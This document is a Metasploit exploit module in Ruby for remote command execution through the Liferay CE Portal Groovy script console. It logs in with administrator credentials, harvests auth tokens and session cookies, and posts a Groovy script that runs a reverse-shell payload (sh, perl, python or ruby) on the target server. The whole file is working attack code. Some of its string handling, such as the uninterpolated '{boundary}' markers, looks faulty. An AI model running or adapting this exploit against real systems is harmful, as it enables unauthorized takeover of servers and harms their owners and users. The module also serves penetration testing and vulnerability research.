1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Liferay CE Portal Tomcat < 7.1.2 ga3 - Groovy-Console Remote Command Execution',
'Description' => %q{
This module uses the Liferay CE Portal Groovy script console to execute
OS commands. The Groovy script can execute commands on the system via a [command].execute() call.
Valid credentials for an application administrator user account are required
This module has been tested successfully with Liferay CE Portal Tomcat 7.1.2 ga3 on Debian 4.9.18-1kali1 system.
},
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://pentest.com.tr/exploits/Liferay-CE-Portal-Tomcat-7-1-2-ga3-Groovy-Console-Remote-Command-Execution-Metasploit.html' ],
],
'Privileged' => false,
'Platform' => [ 'unix' ],
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'reverse perl ruby python',
}
},
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Liferay CE Portal Tomcat < 7.1.2 ga3', { }]
],
'DisclosureDate' => 'March 08, 2019',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }))
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', ]),
OptString.new('PATH', [ true, 'The URI path of the portal', '/' ]),
], self.class)
end
##
# Version and Vulnerability Check
##
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['PATH'] + 'web/guest/home'
})
version = res.headers['Liferay-Portal']
print_status("Target: #{version}")
if res and res.code == 200 and version =~ /Portal 7./ or version =~ /Portal 6./
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
return res
end
##
# Returns the SSL, Host and Port as a string
##
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def exploit
##
# Login and cookie information gathering
##
print_status('Attempting to login with specified user...')
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['PATH'] + 'web/guest/home'
})
authtoken = res.body.split('Liferay.authToken=')[1].split(';')[0].split('Liferay.authToken=')[0].split('"')[1]
print_status("Liferay AuthToken = #{authtoken}")
sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
cookie = "#{sessionid}; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US"
print_status("#{sessionid}")
boundary = Rex::Text.rand_text_alphanumeric(29)
data = "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_formDate\"\r\n\r\n"
data << ""
data << "\r\n-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_saveLastPath\"\r\n\r\nfalse\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_redirect\"\r\n\r\n\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_doActionAfterLogin\"\r\n\r\nfalse\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_login\"\r\n\r\n"
data << "#{datastore['USERNAME']}"
data << "\r\n-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_password\"\r\n\r\n"
data << "#{datastore['PASSWORD']}"
data << "\r\n-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_checkboxNames\"\r\n\r\nrememberMe\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"p_auth\"\r\n\r\n"
data << "#{authtoken}"
data << "\r\n-----------------------------{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'web/guest/home?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=1&p_p_state=exclusive&p_p_mode=view&_com_liferay_login_web_portlet_LoginPortlet_javax.portlet.action=%2Flogin%2Flogin&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Flogin',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
},
'cookie' => cookie
})
if res.code == 302
print_good('User authentication was successful.')
else
print_error('Something went wrong! Login failed.')
end
cookie1 = ''
for cookie1_i in [ 'JSESSIONID=', 'COMPANY_ID=', 'ID=' ]
cookie1 << cookie1_i + res.headers['set-cookie'].split(cookie1_i)[1].split('; ')[0] + '; '
end
cookies0 = "#{cookie1} COOKIE_SUPPORT=true;"
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['PATH'] + 'c',
'cookie' => cookies0
})
##
# Completion of the cookie information
##
cookie2 = ''
for cookie2_i in [ 'GUEST_LANGUAGE_ID=', 'Max-Age=', 'Expires=', 'Path=' ]
cookie2 << cookie2_i + res.headers['set-cookie'].split(cookie2_i)[1].split('; ')[0] + '; '
end
cookies = "#{cookie1} #{cookie2} COOKIE_SUPPORT=true;"
if cookies =~ /ID=/
print_good("Cookies information has been verified.")
else
print_error("Cookies information could not be verified!")
exit 0
end
##
# Request to Groovy script authtoken
##
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['PATH'] + 'group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script',
'headers' =>
{
'Referer' => '#{peer}/group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script',
},
'cookie' => cookies
})
##
# Calling authtoken to Groovy script
##
authtoken2 = res.body.split('Liferay.authToken=')[1].split(';')[0].split('Liferay.authToken=')[0].split('"')[1]
print_status("Liferay AuthToken to Shell = #{authtoken2}")
##
# Payload Separation **cmd/unix/reverse|reverse_ruby|reverse_python|reverse_perl**
##
if payload.encoded =~ /sh/
cmd = payload.encoded.split('sh -c')[1].split("'")[1]
pay = "'sh', '-c', '#{cmd}'"
print_good("Reverse payload was prepared")
elsif payload.encoded =~ /perl/
cmd = payload.encoded.split('perl -MIO -e')[1].split("'")[1]
pay = "'perl', '-MIO', '-e', '#{cmd}'"
print_good("Reverse Perl payload was prepared")
elsif payload.encoded =~ /python/
cmd = payload.encoded.split('python -c "exec(')[1].split(".decode('base64'))\"")[0].split("'")[1]
pay = "'python', '-c', 'exec(\"#{cmd}\".decode(\"base64\"))'"
print_good("Reverse Python payload was prepared")
elsif payload.encoded =~ /ruby/
cmd = payload.encoded.split('ruby -rsocket -e ')[1].split("'")[1]
pay = "'ruby', '-rsocket', '-e', '#{cmd}'"
print_good("Reverse Ruby payload was prepared")
else
print_error("! Please choose payload one of cmd/unix/reverse|reverse_ruby|reverse_python|reverse_perl ")
exit 0
end
##
# Post Data to run Payload
##
cmdata = "-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_formDate\"\r\n\r\n"
cmdata << ""
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1\"\r\n\r\n"
cmdata << "script\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_redirect\"\r\n\r\n"
cmdata << "#{peer}/group/control_panel/manage?p_p_id="
cmdata << "com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle="
cmdata << "0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_"
cmdata << "ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_"
cmdata << "server_admin_web_portlet_ServerAdminPortlet_cur=""0&_com_liferay_server_"
cmdata << "admin_web_portlet_ServerAdminPortlet_tabs1=script"
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_language\"\r\n\r\n"
cmdata << "groovy"
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_script\"\r\n\r\n"
cmdata << "def cmd = [#{pay}]"
cmdata << "\r\ncmd.execute()"
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_cmd\"\r\n\r\n"
cmdata << "runScript"
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"p_auth\"\r\n\r\n"
cmdata << "#{authtoken2}"
cmdata << "\r\n-----------------------------{boundary}--\r\n"
##
# Request to get reverse shell
##
print_status("Attempting to execute the payload...")
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_javax.portlet.action=%2Fserver_admin%2Fedit_server',
'data' => cmdata,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
'Referer' => '#{peer}/group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script',
},
'cookie' => cookies
})
if res.code == 302
print_good('Payload was successfully executed.')
else
print_error('Something went wrong!')
end
end
end
##
# End
##
|